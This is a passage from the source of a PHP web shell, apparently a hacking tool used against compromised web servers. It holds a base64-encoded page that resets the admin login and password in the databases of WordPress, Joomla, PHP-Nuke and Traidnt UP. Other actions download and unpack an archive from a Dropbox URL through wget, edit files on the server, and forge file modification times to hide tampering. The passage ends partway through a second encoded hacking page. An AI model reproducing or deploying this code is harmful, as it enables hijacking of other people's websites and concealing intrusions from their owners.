NCiAgICAgICAgICA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NoYW5nZScgPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOw0KfWVsc2V7DQokZGJod3AgPSAkX1BPU1RbJ2RiaHdwJ107DQokZGJud3AgID0gJF9QT1NUWydkYm53cCddOw0KJGRidXdwID0gJF9QT1NUWydkYnV3cCddOw0KJGRicHdwICA9ICRfUE9TVFsnZGJwd3AnXTsNCiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRkYmh3cCwkZGJ1d3AsJGRicHdwKTsNCiAgICAgICAgIEBteXNxbF9zZWxlY3RfZGIoJGRibndwKTsNCg0KJHVyd3A9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHVyd3ApOw0KJHNldF91cndwID0gJF9QT1NUWyd1cndwJ107DQoNCiRwc3dwPXN0cl9yZXBsYWNlKCJcJyIsIiciLCRwc3dwKTsNCiRwYXNzX3dwID0gJF9QT1NUWydwc3dwJ107DQokc2V0X3Bzd3AgPSBtZDUoJHBhc3Nfd3ApOw0KDQokd3BfcHJlZml4ID0gJF9QT1NUWydwcndwJ107DQoNCiR0YWJsZV9uYW1lNCA9ICR3cF9wcmVmaXguInVzZXJzIiA7DQoNCiRsZWNvbmd0aGllbjExID0gIlVQREFURSAkdGFibGVfbmFtZTQgU0VUIHVzZXJfbG9naW4gPSciLiRzZXRfdXJ3cC4iJyBXSEVSRSBJRCA9JzEnIjsNCiRsZWNvbmd0aGllbjEyID0gIlVQREFURSAkdGFibGVfbmFtZTQgU0VUIHVzZXJfcGFzcyA9JyIuJHNldF9wc3dwLiInIFdIRVJFIElEID0nMSciOw0KDQokb2s2PUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW4xMSk7DQokb2s2PUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW4xMik7DQoNCmlmKCRvazYpew0KZWNobyAiPHNjcmlwdD5hbGVydCgnV29yZFByZXNzIHVwZGF0ZSBzdWNjZXNzIC4gVGhhbmsgZGtscCB2ZXJ5IG11Y2ggOyknKTs8L3NjcmlwdD4iOw0KfQ0KfQ0KDQovL0pvb21sYQ0KaWYgKGlzc2V0KCRfUE9TVFsnam9vbWxhJ10pKQ0Kew0KZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPg0KPHRyPjx0ZD4NCjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgSm9vbWxhIEluZm88YnI+UGF0Y2ggQ29udHJvbCBQYW5lbCA6IFtwYXRjaF0vYWRtaW5pc3RyYXRvcjxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vY29uZmlndXJhdGlvbi5waHA8L2ZvbnQ+PC9jZW50ZXI+DQogICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5NeXNxbCBIb3N0PC9mb250Pjxicj48aW5wdXQgdmFsdWU9bG9jYWxob3N0IHR5cGU9dGV4dCBuYW1lPWRiaGpvcyBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgbmFtZTxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPWpvb21sYSB0eXBlPXRleHQgbmFtZT1kYm5qb3Mgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidWpvcyBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgcGFzc3dvcmQ8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1hZG1pbiB0eXBlPXBhc3N3b3JkIG5hbWU9ZGJwam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgdXNlciBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT10ZXh0IG5hbWU9dXJqb3Mgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSBwYXNzd29yZCBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT1wYXNzd29yZCBuYW1lPXBzam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5UYWJsZSBwcmVmaXg8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1qb3NfIHR5cGU9dGV4dCBuYW1lPXByam9zIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDaGFuZ2UnID48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsNCn1lbHNlew0KJGRiaGpvcyA9ICRfUE9TVFsnZGJoam9zJ107DQokZGJuam9zICA9ICRfUE9TVFsnZGJuam9zJ107DQokZGJ1am9zID0gJF9QT1NUWydkYnVqb3MnXTsNCiRkYnBqb3MgID0gJF9QT1NUWydkYnBqb3MnXTsNCiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRkYmhqb3MsJGRidWpvcywkZGJwam9zKTsNCiAgICAgICAgIEBteXNxbF9zZWxlY3RfZGIoJGRibmpvcyk7DQoNCiR1cmpvcz1zdHJfcmVwbGFjZSgiXCciLCInIiwkdXJqb3MpOw0KJHNldF91cmpvcyA9ICRfUE9TVFsndXJqb3MnXTsNCg0KJHBzam9zPXN0cl9yZXBsYWNlKCJcJyIsIiciLCRwc2pvcyk7DQokcGFzc19qb3MgPSAkX1BPU1RbJ3Bzam9zJ107DQokc2V0X3Bzam9zID0gbWQ1KCRwYXNzX2pvcyk7DQoNCiRqb3NfcHJlZml4ID0gJF9QT1NUWydwcmpvcyddOw0KDQokdGFibGVfbmFtZTUgPSAkam9zX3ByZWZpeC4idXNlcnMiIDsNCg0KJGxlY29uZ3RoaWVuMTMgPSAiVVBEQVRFICR0YWJsZV9uYW1lNSBTRVQgdXNlcm5hbWUgPSciLiRzZXRfdXJqb3MuIicgV0hFUkUgaWQgPSc2MiciOw0KJGxlY29uZ3RoaWVuMTQgPSAiVVBEQVRFICR0YWJsZV9uYW1lNSBTRVQgcGFzc3dvcmQgPSciLiRzZXRfcHNqb3MuIicgV0hFUkUgaWQgPSc2MiciOw0KDQokb2s3PUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW4xMyk7DQokb2s3PUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW4xNCk7DQoNCmlmKCRvazcpew0KZWNobyAiPHNjcmlwdD5hbGVydCgnSm9vbWxhIHVwZGF0ZSBzdWNjZXNzIC4gVGhhbmsgZGtscCB2ZXJ5IG11Y2ggOyknKTs8L3NjcmlwdD4iOw0KfQ0KfQ0KDQovL1BIUC1OVUtFDQppZiAoaXNzZXQoJF9QT1NUWydwaHAtbnVrZSddKSkNCnsNCmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4NCjx0cj48dGQ+DQo8Y2VudGVyPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIFBIUC1OVUtFIEluZm88YnI+UGF0Y2ggQ29udHJvbCBQYW5lbCA6IFtwYXRjaF0vYWRtaW4ucGhwPGJyPlBhdGggQ29uZmlnIDogW3BhdGNoXS9jb25maWcucGhwPC9mb250PjwvY2VudGVyPg0KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmhwbmsgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1waHBudWtlIHR5cGU9dGV4dCBuYW1lPWRibnBuayBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgdXNlcjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXJvb3QgdHlwZT10ZXh0IG5hbWU9ZGJ1cG5rIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBwYXNzd29yZDxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPWFkbWluIHR5cGU9cGFzc3dvcmQgbmFtZT1kYnBwbmsgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkNoYW5nZSB1c2VyIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXRleHQgbmFtZT11cnBuayBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHBhc3N3b3JkIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXBhc3N3b3JkIG5hbWU9cHNwbmsgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPlRhYmxlIHByZWZpeDxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPW51a2VfIHR5cGU9dGV4dCBuYW1lPXBycG5rIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDaGFuZ2UnID48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsNCn1lbHNlew0KJGRiaHBuayA9ICRfUE9TVFsnZGJocG5rJ107DQokZGJucG5rICA9ICRfUE9TVFsnZGJucG5rJ107DQokZGJ1cG5rID0gJF9QT1NUWydkYnVwbmsnXTsNCiRkYnBwbmsgID0gJF9QT1NUWydkYnBwbmsnXTsNCiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRkYmhwbmssJGRidXBuaywkZGJwcG5rKTsNCiAgICAgICAgIEBteXNxbF9zZWxlY3RfZGIoJGRibnBuayk7DQoNCiR1cnBuaz1zdHJfcmVwbGFjZSgiXCciLCInIiwkdXJwbmspOw0KJHNldF91cnBuayA9ICRfUE9TVFsndXJwbmsnXTsNCg0KJHBzcG5rPXN0cl9yZXBsYWNlKCJcJyIsIiciLCRwc3Buayk7DQokcGFzc19wbmsgPSAkX1BPU1RbJ3BzcG5rJ107DQokc2V0X3BzcG5rID0gbWQ1KCRwYXNzX3Buayk7DQoNCiRwbmtfcHJlZml4ID0gJF9QT1NUWydwcnBuayddOw0KDQokdGFibGVfbmFtZTYgPSAkcG5rX3ByZWZpeC4idXNlcnMiIDsNCiR0YWJsZV9uYW1lNyA9ICRwbmtfcHJlZml4LiJhdXRob3JzIiA7DQoNCiRsZWNvbmd0aGllbjE1ID0gIlVQREFURSAkdGFibGVfbmFtZTYgU0VUIHVzZXJuYW1lID0nIi4kc2V0X3VycG5rLiInIFdIRVJFIHVzZXJfaWQgPScyJyI7DQokbGVjb25ndGhpZW4xNiA9ICJVUERBVEUgJHRhYmxlX25hbWU2IFNFVCB1c2VyX3Bhc3N3b3JkID0nIi4kc2V0X3BzcG5rLiInIFdIRVJFIHVzZXJfaWQgPScyJyI7DQoNCiRsZWNvbmd0aGllbjE3ID0gIlVQREFURSAkdGFibGVfbmFtZTcgU0VUIGFpZCA9JyIuJHNldF91cnBuay4iJyBXSEVSRSByYWRtaW5zdXBlciA9JzEnIjsNCiRsZWNvbmd0aGllbjE4ID0gIlVQREFURSAkdGFibGVfbmFtZTcgU0VUIHB3ZCA9JyIuJHNldF9wc3Buay4iJyBXSEVSRSByYWRtaW5zdXBlciA9JzEnIjsNCg0KJG9rOD1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuMTUpOw0KJG9rOD1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuMTYpOw0KJG9rOD1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuMTcpOw0KJG9rOD1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuMTgpOw0KDQppZigkb2s4KXsNCmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1BIUC1OVUtFIHVwZGF0ZSBzdWNjZXNzIC4gVGhhbmsgZGtscCB2ZXJ5IG11Y2ggOyknKTs8L3NjcmlwdD4iOw0KfQ0KfQ0KDQovL1RyYWlkbnQgVVANCmlmIChpc3NldCgkX1BPU1RbJ3VwJ10pKQ0Kew0KZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPg0KPHRyPjx0ZD4NCjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgVHJhaWRudCBVUCBJbmZvPGJyPlBhdGNoIENvbnRyb2wgUGFuZWwgOiBbcGF0Y2hdL3VwbG9hZGNwPGJyPlBhdGggQ29uZmlnIDogW3BhdGNoXS9pbmNsdWRlcy9jb25maWcucGhwPC9mb250PjwvY2VudGVyPg0KICAgIDxjZW50ZXI+PGZvcm0gbWV0aG9kPVBPU1QgYWN0aW9uPScnPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+TXlzcWwgSG9zdDwvZm9udD48YnI+PGlucHV0IHZhbHVlPWxvY2FsaG9zdCB0eXBlPXRleHQgbmFtZT1kYmh1cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgbmFtZTxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXVwbG9hZCB0eXBlPXRleHQgbmFtZT1kYm51cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgdXNlcjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXJvb3QgdHlwZT10ZXh0IG5hbWU9ZGJ1dXAgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicHVwIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgdXNlciBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT10ZXh0IG5hbWU9dXJ1cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIHBhc3N3b3JkIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9S3ltTGpuayB0eXBlPXBhc3N3b3JkIG5hbWU9cHN1cCBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nQ2hhbmdlJyA+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7DQp9ZWxzZXsNCiRkYmh1cCA9ICRfUE9TVFsnZGJodXAnXTsNCiRkYm51cCAgPSAkX1BPU1RbJ2RibnVwJ107DQokZGJ1dXAgPSAkX1BPU1RbJ2RidXVwJ107DQokZGJwdXAgID0gJF9QT1NUWydkYnB1cCddOw0KICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaHVwLCRkYnV1cCwkZGJwdXApOw0KICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJudXApOw0KDQokdXJ1cD1zdHJfcmVwbGFjZSgiXCciLCInIiwkdXJ1cCk7DQokc2V0X3VydXAgPSAkX1BPU1RbJ3VydXAnXTsNCg0KJHBzdXA9c3RyX3JlcGxhY2UoIlwnIiwiJyIsJHBzdXApOw0KJHBhc3NfdXAgPSAkX1BPU1RbJ3BzdXAnXTsNCiRzZXRfcHN1cCA9IG1kNSgkcGFzc191cCk7DQoNCiRsZWNvbmd0aGllbjE5ID0gIlVQREFURSBhZG1pbiBTRVQgYWRtaW5fdXNlciA9JyIuJHNldF91cnVwLiInIFdIRVJFIGFkbWluX2lkID0nMSciOw0KJGxlY29uZ3RoaWVuMjAgPSAiVVBEQVRFIGFkbWluIFNFVCBhZG1pbl9wYXNzd29yZCA9JyIuJHNldF9wc3VwLiInIFdIRVJFIGFkbWluX2lkID0nMSciOw0KDQokb2s5PUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW4xOSk7DQokb2s5PUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW4yMCk7DQoNCmlmKCRvazkpew0KZWNobyAiPHNjcmlwdD5hbGVydCgnVHJhaWRudCBVUCB1cGRhdGUgc3VjY2VzcyAuIFRoYW5rIGRrbHAgdmVyeSBtdWNoIDspJyk7PC9zY3JpcHQ+IjsNCn0NCn0NCi8vRU5EDQo/Pg0K
1736';
1737$file = fopen("change-pas.php" ,"w+");
1738$write = fwrite ($file ,base64_decode($perltoolss));
1739fclose($file);
1740 echo "<iframe src=change-pas.php width=100% height=720px frameborder=0></iframe> ";
1741}//end change pas
1742
1743elseif ($action == 'reverseip') {
1744 @exec('wget http://dl.dropbox.com/u/74425391/ip.tar.gz');
1745 @exec('tar -xvf ip.tar.gz');
1746 echo "<iframe src=ip/index.php width=100% height=720px frameborder=0></iframe> ";
1747}//end shell reverseip
1748
1749elseif ($action == 'editfile') {
1750 if(file_exists($opfile)) {
1751 $fp=@fopen($opfile,'r');
1752 $contents=@fread($fp, filesize($opfile));
1753 @fclose($fp);
1754 $contents=htmlspecialchars($contents);
1755 }
1756 formhead(array('title'=>'Create / Edit File'));
1757 makehide('action','file');
1758 makehide('dir',$nowpath);
1759 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1760 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1761 formfooter();
1762}//end editfile
1763
1764elseif ($action == 'newtime') {
1765 $opfilemtime = @filemtime($opfile);
1766 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1767 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1768 formhead(array('title'=>'Clone file was last modified time'));
1769 makehide('action','file');
1770 makehide('dir',$nowpath);
1771 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1772 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1773 formfooter();
1774 formhead(array('title'=>'Set last modified'));
1775 makehide('action','file');
1776 makehide('dir',$nowpath);
1777 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1778 p('<p>Instead »');
1779 p('year:');
1780 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1781 p('month:');
1782 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1783 p('day:');
1784 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1785 p('hour:');
1786 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1787 p('minute:');
1788 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1789 p('second:');
1790 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1791 p('</p>');
1792 formfooter();
1793}//end newtime
1794 elseif ($action == 'symroot') {
1795$file = fopen($dir."win1.php" ,"w+");
1796$perltoolss = 'PGh0bWw+DQo8aGVhZD4NCjwvc2NyaXB0Pg0KPHRpdGxlPi0tPT1bW0jDoG0gTOG7h25oIEhhY2sgVXNlciBBRE1JTlNUUkFUT1IgVlBTXV09PS0tPC90aXRsZT4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCg0KPFNUWUxFPg0KYm9keSB7DQpmb250LWZhbWlseTogVGFob21hDQp9DQp0ciB7DQpCT1JERVI6IGRhc2hlZCAxcHggIzMzMzsNCmNvbG9yOiAjRkZGOw0KfQ0KdGQgew0KQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7DQpjb2xvcjogI0ZGRjsNCn0NCi50YWJsZTEgew0KQk9SREVSOiAwcHggQmxhY2s7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiAjRkZGOw0KfQ0KLnRkMSB7DQpCT1JERVI6IDBweDsNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCmZvbnQ6IDdwdCBWZXJkYW5hOw0KY29sb3I6IEdyZWVuOw0KfQ0KLnRyMSB7DQpCT1JERVI6IDBweDsNCkJPUkRFUi1DT0xPUjogIzMzMzMzMzsNCmNvbG9yOiAjRkZGOw0KfQ0KdGFibGUgew0KQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7DQpCT1JERVItQ09MT1I6ICMzMzMzMzM7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiAjRkZGOw0KfQ0KaW5wdXQgew0KYm9yZGVyCQkJOiBkYXNoZWQgMXB4Ow0KYm9yZGVyLWNvbG9yCQk6ICMzMzM7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmZvbnQ6IDhwdCBWZXJkYW5hOw0KY29sb3I6IFJlZDsNCn0NCnNlbGVjdCB7DQpCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7DQpCT1JERVItVE9QOiAgICAjREYwMDAwIDFweCBzb2xpZDsNCkJPUkRFUi1MRUZUOiAgICNERjAwMDAgMXB4IHNvbGlkOw0KQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOw0KQk9SREVSLWNvbG9yOiAjRkZGOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiA4cHQgVmVyZGFuYTsNCmNvbG9yOiBSZWQ7DQp9DQpzdWJtaXQgew0KQk9SREVSOiAgYnV0dG9uaGlnaGxpZ2h0IDJweCBvdXRzZXQ7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCndpZHRoOiAzMCU7DQpjb2xvcjogI0ZGRjsNCn0NCnRleHRhcmVhIHsNCmJvcmRlcgkJCTogZGFzaGVkIDFweCAjMzMzOw0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICM5OTk7DQp9DQpCT0RZIHsNCglTQ1JPTExCQVItRkFD